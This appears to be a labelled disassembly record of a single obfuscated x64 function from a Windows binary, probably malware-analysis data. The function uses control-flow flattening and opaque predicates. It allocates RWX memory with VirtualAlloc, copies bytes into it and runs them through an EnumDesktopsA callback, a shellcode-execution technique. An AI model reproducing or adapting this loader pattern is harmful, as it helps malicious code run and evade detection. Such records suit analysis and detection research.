Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Enumerate gui resources
Execute shellcode via indirect call
Execute shellcode via windows callback function

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rsp + 0x20]
mov rax, qword [0x140005040]
xor rax, rbp
mov qword [rbp], rax
mov edx, dword [0x1400050b4]
mov eax, dword [0x1400050b8]
lea ecx, [rdx + 1]
imul ecx, edx
mov edx, ecx
not edx
mov r8d, edx
and r8d, 0xc34bffba
mov r9d, ecx
and r9d, 0x3cb40044
or r9d, r8d
xor r9d, 0x3cb40044
mov r8d, ecx
xor r8d, 0xfffffffe
and r8d, ecx
or r8d, r9d
and edx, 0x828b09dc
and ecx, 0x7d74f623
or ecx, edx
mov edx, ecx
xor edx, 0x7d74f623
xor ecx, 0x828b09dc
and ecx, r8d
not r8d
and edx, r8d
or ecx, edx
xor r8d, ecx
test r8d, ecx
sete byte [rbp - 9]
cmp eax, 0xa
setl byte [rbp - 0xa]
mov eax, 0xe650498f
mov r14, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r13d, 0xe0636c97
mov esi, 0xfbafb528
mov r15d, 0x336a86d4
mov r12d, 0xa5c5bf30
mov ebx, 0x63a83c75
mov edi, 0x1ccd404e
jmp 0x1400011b0
sub rsp, 0x20
mov edx, 0x1000
xor ecx, ecx
mov r8d, 0x1000
mov r9d, 0x40
call r14
add rsp, 0x20
mov rcx, qword [rbp - 8]
mov qword [rcx], rax
mov rax, qword [rbp - 8]
mov eax, dword [0x1400050b4]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xe69aed16
and eax, ecx
not ecx
mov edx, ecx
and edx, 0xe69aed16
or eax, edx
xor eax, 0xe69aed17
or eax, ecx
xor eax, 0xffffffff
setne dl
sete r8b
cmp dword [0x1400050b8], 0xa
setl cl
setge r9b
and r9b, r8b
mov eax, ecx
and al, dl
or al, r9b
xor dl, cl
or cl, r8b
mov r8d, edx
xor r8b, cl
or cl, dl
xor cl, 1
or cl, r8b
mov edx, ecx
xor dl, 1
mov r8d, edx
and r8b, cl
xor dl, r8b
xor r8b, 1
or r8b, cl
xor r8b, 1
or r8b, dl
mov ecx, r8d
xor cl, 1
mov edx, eax
xor dl, 1
and r8b, dl
or dl, cl
and cl, al
or cl, r8b
mov r8d, edx
xor r8b, cl
test cl, cl
mov eax, 0xf4f0085f
mov ecx, 0xe2a98867
cmovne eax, ecx
test dl, 1
mov edx, 0xf4f0085f
cmovne eax, edx
test r8b, 1
cmove eax, ecx
nop dword [rax]
cmp eax, 0xf9be593b
jg 0x140001200
cmp eax, 0xc6ce70bf
jle 0x140001350
cmp eax, 0xe2a98866
jg 0x1400015c4
cmp eax, 0xce98c09c
jg 0x140001a7c
cmp eax, 0xc6ce70c0
je 0x140002182
cmp eax, 0xc81658ee
je 0x1400021b5
cmp eax, 0xcaa4e78c
jne 0x1400011b0
mov eax, 0xf65be0c6
jmp 0x1400011b0
cmp eax, 0x345b8d15
jg 0x1400014a0
cmp eax, 0x1ccd404d
jg 0x1400016e9
cmp eax, 0xe155a2c
jg 0x140001aa7
cmp eax, 0xf9be593c
je 0x140002296
cmp eax, 0xfbafb528
je 0x1400022a0
cmp eax, 0xd5952a0
jne 0x1400011b0
mov ecx, dword [0x1400050b4]
lea eax, [rcx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, eax
mov r8d, edx
not r8d
mov r9d, eax
and r9d, 0x3e8d08b2
and ecx, 0xc172f74d
or ecx, r9d
or eax, r8d
and r8d, 0x3e8d08b2
and edx, 0xc172f74d
or edx, r8d
xor edx, ecx
not eax
or eax, edx
mov ecx, eax
xor ecx, 1
mov edx, ecx
and edx, eax
xor eax, 0xfffffffe
mov r8d, edx
not r8d
mov r9d, r8d
and r9d, 0xe9798f78
and edx, 0x16867087
or edx, r9d
or r8d, ecx
and ecx, 0xe9798f78
and eax, 0x16867087
or eax, ecx
xor eax, edx
not r8d
or r8d, eax
xor r8d, 0xf38f9448
xor r8d, 0xc706bb7
setne dl
sete r8b
cmp dword [0x1400050b8], 0xa
setl al
setge cl
or al, r8b
or r8b, cl
xor dl, cl
and cl, dl
xor cl, 1
mov r9d, ecx
xor r9b, r8b
or cl, r8b
xor cl, 1
or cl, r9b
xor al, 1
or al, dl
mov edx, ecx
and dl, al
xor al, 1
mov r8d, ecx
xor r8b, 1
and r8b, al
or r8b, dl
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, r8b
test cl, 1
mov ecx, 0xce98c09d
mov edx, 0x789edc57
cmovne ecx, edx
test al, 1
mov eax, 0xce98c09d
cmovne eax, ecx
jmp 0x1400011a5
cmp eax, 0xb39d42fa
jle 0x1400017de
cmp eax, 0xbea5a60b
jg 0x140001c51
cmp eax, 0xb39d42fb
je 0x1400022aa
cmp eax, 0xb3eb0880
je 0x1400022b4
cmp eax, 0xb6992986
jne 0x1400011b0
mov eax, dword [0x1400050b4]
lea edx, [rax + 1]
imul edx, eax
mov eax, edx
not eax
mov ecx, eax
and ecx, 0x2b7711bb
and eax, edx
and edx, 0xd488ee44
or edx, ecx
xor edx, 0xd488ee44
or edx, eax
mov ecx, edx
not ecx
mov r8d, ecx
and r8d, 0x69c1c7a6
mov eax, edx
and eax, 0x963e3859
or eax, r8d
mov r8d, eax
xor r8d, 0x903e0850
and edx, 0x9beb2657
mov r9d, ecx
and r9d, 0x6414d9a8
or r9d, edx
xor r9d, 0x9beb2656
and ecx, 1
or ecx, r9d
xor eax, 0x69c1c7a7
mov edx, eax
and edx, 0x6e00752c
and r8d, 0x91ff8ad3
or r8d, edx
xor r8d, ecx
xor r8d, 0x91ff8ad3
or eax, ecx
not eax
or eax, r8d
mov ecx, eax
not ecx
mov edx, eax
and edx, 0xccae0bad
and ecx, 0x3351f452
or ecx, edx
xor ecx, 0x3351f452
or ecx, eax
xor ecx, 0xffffffff
setne al
sete cl
cmp dword [0x1400050b8], 0xa
setl dl
setge r8b
mov r9d, r8d
xor r9b, cl
and r9b, cl
and cl, r8b
and dl, al
or dl, cl
mov eax, edx
xor al, 1
mov ecx, edx
and cl, al
xor cl, 1
or cl, al
xor cl, 1
or cl, dl
xor cl, r9b
xor r9b, 1
or al, r9b
mov edx, eax
xor dl, cl
test al, al
mov eax, 0xc36a3ae7
cmovne eax, esi
test cl, 1
cmove eax, esi
test dl, 1
mov ecx, 0xc36a3ae7
cmove eax, ecx
jmp 0x1400011b0
cmp eax, 0x55b07c34
jle 0x140001964
cmp eax, 0x63a83c74
jg 0x140001e25
cmp eax, 0x55b07c35
je 0x1400022e7
cmp eax, 0x59b1fa4a
je 0x140002466
cmp eax, 0x6328be06
jne 0x1400011b0
mov ecx, dword [0x1400050b4]
lea eax, [rcx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov r8d, eax
xor r8d, 0x2966a6fe
and r8d, eax
mov edx, eax
or edx, 0xd6995901
mov r9d, r8d
not r9d
mov r10d, edx
and r10d, 0xf1db8b6b
mov r11d, ecx
and r11d, 0x8242494
or r11d, r10d
or edx, r9d
and r9d, 0xf1db8b6b
and r8d, 0xe247494
or r8d, r9d
xor r8d, r11d
not edx
or edx, r8d
not r8d
and r8d, 0xd6995900
and edx, 0x2966a6ff
or edx, r8d
not edx
and ecx, 0xc77624de
and eax, 0x3889db21
or eax, ecx
xor eax, 0x3889db21
or eax, edx
xor eax, 0x793d7fda
xor eax, 0x86c28025
sete al
setne cl
cmp dword [0x1400050b8], 0xa
setl dl
xor cl, dl
xor cl, 1
mov r8d, edx
or r8b, al
xor r8b, 1
or r8b, cl
xor al, dl
mov ecx, eax
xor cl, 1
xor al, cl
and al, r8b
or r8b, cl
xor al, cl
mov ecx, r8d
xor cl, al
mov ecx, 0xa1c8cdce
mov edx, 0xf4f0085f
cmovne ecx, edx
test al, al
mov eax, ecx
mov edx, 0xa1c8cdce
cmovne eax, edx
test r8b, r8b
cmovne eax, ecx
jmp 0x1400011b0
cmp eax, 0xf4f0085e
jg 0x140001e79
cmp eax, 0xe2a98867
je 0x140002536
cmp eax, 0xe650498f
je 0x140002540
cmp eax, 0xf00d999e
jne 0x1400011b0
mov rax, qword [rbp - 0x18]
movzx ecx, byte [0x140005020]
mov byte [rax + 0x20], cl
movaps xmm0, xmmword [0x140005010]
movups xmmword [rax + 0x10], xmm0
movaps xmm0, xmmword [section..data]
movups xmmword [rax], xmm0
mov rax, qword [rbp - 8]
mov rdx, qword [rax]
sub rsp, 0x20
xor ecx, ecx
xor r8d, r8d
call qword [sym.imp.USER32.dll_EnumDesktopsA]
add rsp, 0x20
mov rax, qword [rbp - 8]
mov ecx, dword [0x1400050b4]
lea eax, [rcx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xfffffffe
mov r8d, eax
xor r8d, 0xfffffffe
and r8d, eax
or r8d, edx
and ecx, 0x7d00c9fc
and eax, 0x82ff3603
or eax, ecx
mov ecx, eax
xor ecx, 0x82ff3603
xor eax, 0x7d00c9fc
and eax, r8d
not r8d
and ecx, r8d
or eax, ecx
not eax
or eax, r8d
xor eax, 0xffffffff
setne al
sete cl
cmp dword [0x1400050b8], 0xa
setl dl
setge r8b
and cl, r8b
and dl, al
or dl, cl
mov ecx, r8d
xor cl, al
or r8b, al
xor r8b, 1
or r8b, cl
xor r8b, 1
or r8b, cl
xor dl, 1
mov ecx, edx
or cl, r8b
xor dl, r8b
mov r8d, ecx
xor r8b, dl
test dl, 1
mov eax, 0xbea5a60c
mov edx, 0x2d194b35
cmovne eax, edx
test cl, 1
mov ecx, 0xbea5a60c
cmovne eax, ecx
test r8b, 1
cmove eax, edx
jmp 0x1400011b0
cmp eax, 0x2d194b34
jg 0x140001f97
cmp eax, 0x1ccd404e
je 0x1400025bb
cmp eax, 0x1db19b5f
je 0x1400025c5
cmp eax, 0x2a276700
jne 0x1400011b0
mov eax, dword [0x1400050b4]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xd4e38fa3
mov r8d, ecx
xor r8d, 0xd4e38fa3
and r8d, ecx
or r8d, edx
xor r8d, 0xd4e38fa2
and eax, 0xad29a5fd
and ecx, 0x52d65a02
or ecx, eax
xor ecx, 0x52d65a02
or ecx, r8d
xor ecx, 0xb0a99d0b
cmp ecx, 0x4f5662f4
sete dl
cmp dword [0x1400050b8], 0xa
setl al
setge r8b
mov ecx, edx
xor cl, r8b
or al, dl
or dl, r8b
xor dl, 1
mov r9d, ecx
xor r9b, al
or al, cl
not cl
and cl, r8b
or cl, dl
xor al, 1
or al, r9b
mov edx, eax
xor dl, 1
mov r8d, edx
and r8b, al
xor dl, r8b
xor r8b, 1
or r8b, al
xor r8b, 1
or r8b, dl
xor r8b, cl
mov edx, r8d
xor dl, 1
and cl, dl
xor dl, cl
test r8b, 1
mov eax, 0x1ccd404e
mov r8d, 0x333aa89e
cmovne eax, r8d
test cl, cl
cmove eax, edi
jmp 0x140003143
cmp eax, 0xa1c8cdcd
jle 0x140001fb7
cmp eax, 0xa1c8cdce
je 0x1400010ce
cmp eax, 0xa5c5bf30
je 0x1400025cf
cmp eax, 0xa7f07743
jne 0x1400011b0
mov eax, dword [0x1400050b4]
lea ecx, [rax + 1]
imul ecx, eax
mov r8d, ecx
not r8d
mov eax, r8d
and eax, 0x187028a
and ecx, 0x8008ac10
or ecx, eax
xor ecx, 0x8008ac10
and r8d, 0x7e705165
or r8d, ecx
mov ecx, r8d
not ecx
mov edx, ecx
and edx, 0x5bbb18db
mov eax, r8d
xor eax, 0x5bbb18db
and eax, r8d
or eax, edx
mov edx, eax
xor edx, 0xa404a125
and r8d, 0x2963546b
mov r9d, ecx
and r9d, 0xd69cab94
or r9d, r8d
xor r9d, 0x2963546a
and ecx, 1
or ecx, r9d
mov r8d, ecx
not r8d
xor eax, 0x5bbb18da
mov r9d, eax
and r9d, 0x37156d0
and edx, 0xfc8ea92f
or edx, r9d
or eax, ecx
and ecx, 0x37156d0
and r8d, 0xfc8ea92f
or r8d, ecx
xor r8d, edx
not eax
or eax, r8d
mov ecx, eax
not ecx
and eax, 0xfb799faf
and ecx, 0x4866050
or ecx, eax
mov eax, ecx
xor eax, 0xf271808e
xor ecx, 0x4866050
mov edx, ecx
and edx, 0x98e1f31
and eax, 0xf671e0ce
or eax, edx
xor eax, 0xf671e0ce
or eax, ecx
xor eax, 0xffffffff
sete r8b
setne r9b
cmp dword [0x1400050b8], 0xa
setl cl
setge r10b
mov eax, r9d
xor al, r10b
mov edx, eax
xor dl, 1
and r8b, r10b
and cl, r9b
or cl, r8b
or r10b, r9b
xor r10b, 1
or r10b, al
xor cl, 1
mov r8d, ecx
xor r8b, r10b
or cl, r10b
xor cl, 1
or cl, r8b
xor al, dl
and al, cl
xor al, dl
or dl, cl
mov ecx, eax
xor cl, dl
test al, al
mov eax, 0xe0636c97
mov r8d, 0x3ea0cb59
cmovne eax, r8d
test dl, 1
cmovne eax, r13d
test cl, 1
cmove eax, r8d
jmp 0x1400011b0
cmp eax, 0x3de1a688
jle 0x1400020bd
cmp eax, 0x3de1a689
je 0x140002708
cmp eax, 0x3ea0cb59
je 0x1400027dd
cmp eax, 0x40f424f5
jne 0x1400011b0
mov ecx, dword [0x1400050b4]
lea eax, [rcx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov r8d, eax
xor r8d, 0xfffffffe
and r8d, eax
mov edx, eax
or edx, 1
mov r9d, r8d
not r9d
mov r10d, edx
and r10d, 0x43cf969d
mov r11d, ecx
and r11d, 0xbc306962
or r11d, r10d
or edx, r9d
and r9d, 0x43cf969d
and r8d, 0xbc306962
or r8d, r9d
xor r8d, r11d
not edx
or edx, r8d
mov r8d, edx
not r8d
and ecx, r8d
and edx, eax
or edx, ecx
xor r8d, edx
test r8d, edx
sete al
setne dl
cmp dword [0x1400050b8], 0xa
setl r8b
setge r9b
mov r10d, edx
and r10b, r9b
mov ecx, r8d
and cl, al
or cl, r10b
xor cl, 1
or cl, r9b
xor dl, r9b
and dl, al
xor al, r8b
and al, r8b
mov r8d, edx
xor r8b, 1
xor dl, al
xor al, 1
or al, r8b
xor al, 1
or al, dl
mov edx, eax
and al, cl
xor cl, 1
xor dl, 1
mov r8d, ecx
xor r8b, dl
and r8b, cl
and dl, cl
or dl, al
mov eax, r8d
xor al, dl
test al, 1
mov ecx, 0x6328be06
mov r9d, 0xd5952a0
cmovne ecx, r9d
test dl, 1
mov eax, ecx
cmovne eax, r9d
jmp 0x1400011a5
cmp eax, 0xce98c09d
je 0x1400027e7
cmp eax, 0xd480aaac
je 0x140002928
cmp eax, 0xe0636c97
jne 0x1400011b0
mov eax, 0xa7f07743
jmp 0x1400011b0
cmp eax, 0xe155a2d
je 0x1400029e1
cmp eax, 0xe9f8d29
je 0x1400029eb
cmp eax, 0x1a9dc78c
jne 0x1400011b0
sub rsp, 0x20
mov edx, 0x1000
xor ecx, ecx
mov r8d, 0x1000
mov r9d, 0x40
call r14
add rsp, 0x20
mov rcx, qword [rbp - 8]
mov qword [rcx], rax
mov rax, qword [rbp - 8]
mov eax, dword [0x1400050b4]
lea ecx, [rax + 1]
imul ecx, eax
mov r8d, ecx
not r8d
mov edx, ecx
xor edx, 0x291d2744
mov r9d, edx
and r9d, ecx
and edx, r8d
mov eax, r9d
not eax
mov r10d, edx
not r10d
mov r11d, eax
and r11d, 0x98149fc8
and r9d, 0x67eb6037
or r9d, r11d
or eax, r10d
and r10d, 0x98149fc8
and edx, 0x67eb6037
or edx, r10d
xor edx, r9d
not eax
or eax, edx
mov edx, eax
xor edx, 0x1112401
and r8d, 0x393ead5d
mov r9d, ecx
and r9d, 0xc6c152a2
or r9d, r8d
mov r8d, r9d
xor r8d, 0x311e2158
and ecx, 1
or ecx, r8d
xor r9d, 0x44404220
and r9d, 0x4c60ce24
and ecx, 0xb39f31db
or ecx, r9d
mov r8d, ecx
xor r8d, 0x83113001
xor ecx, 0x4c60ce24
xor eax, 0xd6e2d8ba
mov r9d, eax
and r9d, 0x7caecbde
and edx, 0x83513421
or edx, r9d
or eax, ecx
and ecx, 0x7caecbde
and r8d, 0x83513421
or r8d, ecx
xor r8d, edx
not eax
or eax, r8d
mov ecx, eax
not ecx
and eax, 0x6f8e5efc
and ecx, 0x9071a103
or ecx, eax
mov eax, ecx
xor eax, 0x210c465c
xor ecx, 0x9071a103
mov edx, ecx
and edx, 0x5ed398a1
and eax, 0xa12c675e
or eax, edx
xor eax, 0xa12c675e
or eax, ecx
xor eax, 0xffffffff
sete al
setne cl
cmp dword [0x1400050b8], 0xa
setl dl
setge r8b
and cl, r8b
and dl, al
or dl, cl
mov ecx, edx
xor cl, r8b
and cl, dl
xor al, r8b
xor al, cl
and cl, al
mov edx, eax
xor dl, cl
mov edx, 0xe9f8d29
mov r8d, 0xb3eb0880
cmovne edx, r8d
test al, al
mov eax, 0xe9f8d29
jmp 0x140002459
cmp eax, 0xbea5a60c
je 0x140002b19
cmp eax, 0xc1493154
je 0x140002b64
cmp eax, 0xc36a3ae7
jne 0x1400011b0
mov eax, dword [0x1400050b4]
lea edx, [rax + 1]
imul edx, eax
mov eax, edx
not eax
mov ecx, edx
or ecx, 0x81449942
mov r8d, eax
or r8d, 0x101904a8
and ecx, 0x915d9dea
and eax, 0x48a06001
or eax, ecx
and r8d, 0x915d9dea
and edx, 0x26020214
or edx, r8d
xor edx, eax
mov r9d, edx
xor r9d, 0xa7469b56
xor edx, 0x58b964a9
mov eax, edx
and eax, 0xe4cf76dd
mov r8d, r9d
and r8d, 0x1b308922
or r8d, eax
mov ecx, r8d
xor ecx, 0x1b308922
mov r10d, r8d
xor r10d, 0x83b8f307
and r10d, ecx
or edx, 0x677785da
mov eax, r10d
not eax
mov r11d, eax
and r11d, 0xbbca7fb9
and r10d, 0x44358046
or r10d, r11d
or eax, edx
and edx, 0xbbca7fb9
and r9d, 4
or r9d, edx
xor r9d, r10d
not eax
or eax, r9d
mov edx, eax
xor edx, 0x18002804
xor r8d, 0x604a2494
and r8d, 0x795aa5b6
and ecx, 0x86a55a48
or ecx, r8d
mov r8d, ecx
xor r8d, 0x2050808
xor eax, 0x677785db
xor ecx, 0x795aa5b7
mov r9d, eax
and r9d, 0xa5a8d7f1
and edx, 0x5a57280e
or edx, r9d
or eax, ecx
and ecx, 0xa5a8d7f1
and r8d, 0x5a57280e
or r8d, ecx
xor r8d, edx
not eax
or eax, r8d
mov ecx, eax
not ecx
mov edx, eax
xor edx, 0xb032c1a5
and edx, eax
or eax, 0x4fcd3e5a
mov r8d, edx
not r8d
mov r9d, eax
and r9d, 0xca34ad89
and ecx, 0x30024024
or ecx, r9d
or eax, r8d
and r8d, 0xca34ad89
and edx, 0x35cb5276
or edx, r8d
xor edx, ecx
not eax
or eax, edx
xor eax, 0xd5d9bfbb
cmp eax, 0x9a1481e1
sete cl
cmp dword [0x1400050b8], 0xa
setge al
xor cl, al
mov edx, ecx
xor dl, 1
or al, dl
mov r8d, edx
and r8b, al
xor al, 1
and cl, al
or cl, r8b
mov r8d, eax
xor r8b, dl
or al, dl
xor al, 1
or al, r8b
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0xd480aaac
mov r8d, 0x75e9c629
cmovne edx, r8d
test al, 1
mov eax, 0xd480aaac
jmp 0x140002459
cmp eax, 0x63a83c75
je 0x140002c48
cmp eax, 0x75e9c629
je 0x140002d2a
cmp eax, 0x789edc57
jne 0x1400011b0
sub rsp, 0x20
mov edx, 0x1000
xor ecx, ecx
mov r8d, 0x1000
mov r9d, 0x40
call r14
add rsp, 0x20
mov rcx, qword [rbp - 8]
mov qword [rcx], rax
mov rax, qword [rbp - 8]
mov eax, 0xce98c09d
jmp 0x1400011b0
cmp eax, 0xf4f0085f
je 0x140002d34
cmp eax, 0xf65be0c6
je 0x140002e64
cmp eax, 0xf8b9481d
jne 0x1400011b0
mov eax, dword [0x1400050b4]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
xor edx, 0xfffffffe
and edx, eax
and ecx, 0xfe93a179
and eax, 0x16c5e86
or eax, ecx
xor eax, 0x16c5e87
or eax, edx
mov ecx, eax
not ecx
and eax, 0x923cf32
and ecx, 0xf6dc30cd
or ecx, eax
mov eax, ecx
xor eax, 0x1034922
xor ecx, 0x601410c4
and eax, 0x97cb692b
and ecx, 0x683496d4
or ecx, eax
mov eax, ecx
xor eax, 0x6c84121
xor ecx, 0x8300454
and ecx, 0x99332c5e
and eax, 0x66ccd3a1
or eax, ecx
xor eax, 0x66ccd3a1
sete r9b
setne r8b
cmp dword [0x1400050b8], 0xa
setl dl
setge al
mov ecx, eax
xor cl, r8b
mov r10d, ecx
and r10b, r8b
and cl, al
xor r10b, 1
xor cl, 1
mov r11d, r10d
xor r11b, cl
or cl, r10b
xor cl, 1
or cl, r11b
and r8b, dl
or dl, r9b
and al, r9b
or al, r8b
xor al, 1
mov r8d, edx
xor r8b, al
or al, dl
xor al, 1
or al, r8b
mov edx, eax
xor dl, 1
mov r8d, ecx
xor r8b, al
and r8b, cl
and al, cl
xor cl, 1
and cl, dl
or al, cl
mov ecx, r8d
xor cl, al
test cl, 1
mov ecx, 0xcaa4e78c
mov edx, 0xf65be0c6
cmovne ecx, edx
test al, 1
mov eax, ecx
jmp 0x1400011a2
cmp eax, 0x333aa89e
je 0x140002f36
cmp eax, 0x336a86d4
jne 0x140003159
mov eax, 0x2a276700
jmp 0x1400011b0
cmp eax, 0x80a08e1b
je 0x140003023
cmp eax, 0x949df106
jne 0x1400011b0
mov ecx, dword [0x1400050b4]
lea eax, [rcx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
or ecx, 1
mov r8d, eax
xor r8d, 0xfffffffe
and r8d, eax
mov r9d, r8d
not r9d
mov r10d, ecx
and r10d, 0xd62e4cc3
mov r11d, edx
and r11d, 0x29d1b33c
or r11d, r10d
or ecx, r9d
and r9d, 0xd62e4cc3
and r8d, 0x29d1b33c
or r8d, r9d
xor r8d, r11d
not ecx
or ecx, r8d
not ecx
and edx, 0xf500f1aa
and eax, 0xaff0e55
or eax, edx
xor eax, 0xaff0e55
or eax, ecx
xor eax, 0xd1aec8b2
xor eax, 0x2e51374d
setne al
sete dl
cmp dword [0x1400050b8], 0xa
setl cl
setge r8b
mov r9d, r8d
xor r9b, dl
and dl, r8b
and cl, al
or cl, dl
and r9b, r8b
xor r8b, al
or r8b, r9b
mov eax, r8d
xor al, 1
mov edx, eax
and dl, r8b
xor al, dl
xor dl, 1
or dl, r8b
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
mov r8d, ecx
xor r8b, 1
and dl, r8b
and cl, al
or cl, dl
or r8b, al
mov eax, r8d
xor al, cl
test al, 1
mov edx, 0x1a9dc78c
mov eax, 0xb3eb0880
cmovne edx, eax
test r8b, 1
mov eax, 0x1a9dc78c
jmp 0x140002459
cmp eax, 0x345b8d16
je 0x14000314f
cmp eax, 0x3d2e1f93
jne 0x1400011b0
mov rax, qword [rbp - 8]
mov eax, dword [0x1400050b4]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
or edx, 0x667cfde
or ecx, 1
and ecx, 0x667cfdf
mov r8d, eax
and r8d, 0xf9983020
or r8d, ecx
and edx, 0x667cfdf
xor edx, r8d
not edx
or edx, eax
cmp edx, 0xffffffff
sete cl
cmp dword [0x1400050b8], 0xa
setge al
setl dl
mov r8d, edx
xor r8b, cl
or dl, cl
xor dl, 1
or dl, r8b
and r8b, cl
or al, cl
xor al, 1
or al, r8b
mov ecx, eax
xor cl, 1
mov r8d, ecx
mov r9d, edx
xor cl, dl
xor dl, 1
and r8b, dl
and r9b, al
or r9b, r8b
or al, dl
xor al, 1
or al, cl
mov ecx, eax
xor cl, r9b
test al, 1
mov eax, 0xf8b9481d
cmovne eax, esi
test r9b, 1
cmove eax, esi
test cl, 1
mov ecx, 0xf8b9481d
cmove eax, ecx
jmp 0x1400011b0
sub rsp, 0x20
mov edx, 0x1000
xor ecx, ecx
mov r8d, 0x1000
mov r9d, 0x40
call r14
add rsp, 0x20
mov rcx, qword [rbp - 8]
mov qword [rcx], rax
mov rax, qword [rbp - 8]
mov eax, 0x55b07c35
jmp 0x1400011b0
mov eax, dword [0x1400050b4]
lea edx, [rax + 1]
imul edx, eax
mov ecx, edx
not ecx
mov eax, edx
xor eax, 0xfffffffe
and eax, ecx
and edx, 0xf7a65c78
and ecx, 0x859a387
or ecx, edx
mov edx, ecx
xor edx, 0x19a304
mov r8d, eax
not r8d
xor ecx, 0xf7a65c79
mov r9d, r8d
and r9d, 0x9de2409a
and eax, 0x621dbf65
or eax, r9d
or r8d, ecx
and ecx, 0x9de2409a
and edx, 0x621dbf65
or edx, ecx
xor edx, eax
not r8d
or r8d, edx
xor r8d, 0x77e803b1
xor r8d, 0x8817fc4e
sete al
setne cl
cmp dword [0x1400050b8], 0xa
setl dl
setge r8b
mov r9d, ecx
and r9b, r8b
and cl, dl
and dl, al
or dl, r9b
mov r9d, edx
xor r9b, r8b
and r9b, dl
and r8b, al
or r8b, cl
mov eax, r9d
xor al, 1
mov ecx, r8d
xor cl, 1
and r8b, al
and r9b, cl
or r9b, r8b
or cl, al
mov eax, ecx
xor al, r9b
test al, 1
mov edx, 0xf00d999e
mov eax, 0xbea5a60c
cmovne edx, eax
test cl, cl
mov eax, 0xf00d999e
cmovne eax, edx
test r9b, r9b
cmove eax, edx
jmp 0x1400011b0
mov eax, 0xa1c8cdce
jmp 0x1400011b0
mov eax, 0xf8b9481d
jmp 0x1400011b0
mov eax, 0x949df106
jmp 0x1400011b0
sub rsp, 0x20
mov edx, 0x1000
xor ecx, ecx
mov r8d, 0x1000
mov r9d, 0x40
call r14
add rsp, 0x20
mov rcx, qword [rbp - 8]
mov qword [rcx], rax
mov rax, qword [rbp - 8]
mov eax, 0x1a9dc78c
jmp 0x1400011b0
sub rsp, 0x20
mov edx, 0x1000
xor ecx, ecx
mov r8d, 0x1000
mov r9d, 0x40
call r14
add rsp, 0x20
mov rcx, qword [rbp - 8]
mov qword [rcx], rax
mov rax, qword [rbp - 8]
mov eax, dword [0x1400050b4]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
or edx, 0x8084414
mov r8d, eax
or r8d, 0x602000
and edx, 0x8686414
and eax, 0xe20712a0
or eax, edx
and r8d, 0x8686414
and ecx, 0x1590894b
or ecx, r8d
xor ecx, eax
mov edx, ecx
xor edx, 0x1d98cd5f
mov eax, ecx
xor eax, 0xe26732a0
mov r8d, eax
and r8d, 0x761a100e
xor ecx, 0x6b82dd51
and ecx, edx
or ecx, r8d
xor ecx, 0x89e5eff0
and edx, 0xf0bc73d2
and eax, 0xf438c2c
or eax, edx
xor eax, 0xf438c2c
or eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, eax
mov r8d, edx
not r8d
mov r9d, eax
and r9d, 0x4dab44ae
and ecx, 0xb254bb51
or ecx, r9d
or eax, r8d
and r8d, 0x4dab44ae
and edx, 0xb254bb51
or edx, r8d
xor edx, ecx
not eax
or eax, edx
mov ecx, eax
not ecx
and eax, 0xcde4efff
and ecx, 0x321b1000
or ecx, eax
mov eax, ecx
xor eax, 0x4c02975
xor ecx, 0x20120000
and ecx, 0xe936c68a
and eax, 0x16c93975
or eax, ecx
xor eax, 0x16c93975
sete al
setne dl
cmp dword [0x1400050b8], 0xa
setge r8b
or dl, r8b
mov ecx, edx
not cl
xor al, r8b
mov r8d, eax
xor r8b, 1
and cl, dl
xor cl, 1
mov r9d, ecx
xor r9b, dl
or cl, dl
xor cl, 1
or cl, r9b
mov r9d, ecx
xor r9b, 1
and r9b, r8b
and cl, al
or cl, r9b
or al, dl
mov edx, eax
xor dl, cl
mov edx, 0xb39d42fb
mov r8d, 0xc6ce70c0
cmovne edx, r8d
test al, al
mov eax, 0xb39d42fb
cmovne eax, edx
test cl, cl
cmove eax, edx
jmp 0x1400011b0
mov eax, dword [0x1400050b4]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0x34731f7d
mov r8d, ecx
xor r8d, 0x34731f7d
and r8d, ecx
or r8d, edx
mov edx, r8d
xor edx, 0x28c8080
xor r8d, 0x34731f7c
mov r9d, r8d
and r9d, 0xf9427c03
and edx, 0x6bd83fc
or edx, r9d
and ecx, 0xf9427c03
and eax, 0x6bd83fc
or eax, ecx
xor eax, edx
xor r8d, eax
test r8d, eax
sete dl
setne r8b
cmp dword [0x1400050b8], 0xa
setge al
setl r9b
mov r10d, r9d
xor r10b, r8b
not r10b
and r10b, r8b
mov ecx, r9d
or cl, r8b
xor cl, 1
or cl, r10b
and r8b, r9b
or r9b, dl
xor r9b, 1
and al, dl
or al, r8b
or al, r9b
xor al, cl
and cl, al
xor al, 1
mov edx, eax
xor dl, cl
test al, 1
mov eax, 0x6328be06
mov r8d, 0x3de1a689
cmovne eax, r8d
test cl, cl
mov ecx, 0x6328be06
cmove eax, ecx
test dl, 1
cmovne eax, r8d
jmp 0x1400011b0
mov eax, 0xd5952a0
jmp 0x1400011b0
movzx eax, byte [rbp - 9]
movzx edx, byte [rbp - 0xa]
mov r8d, eax
xor r8b, 1
mov ecx, eax
xor cl, dl
or al, dl
xor al, 1
or al, cl
and cl, dl
or r8b, dl
xor cl, 1
mov edx, ecx
xor dl, r8b
or cl, r8b
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
mov r8d, edx
and r8b, cl
xor r8b, 1
mov r9d, ecx
xor r9b, r8b
or r8b, cl
xor r8b, 1
or r8b, r9b
xor r8b, al
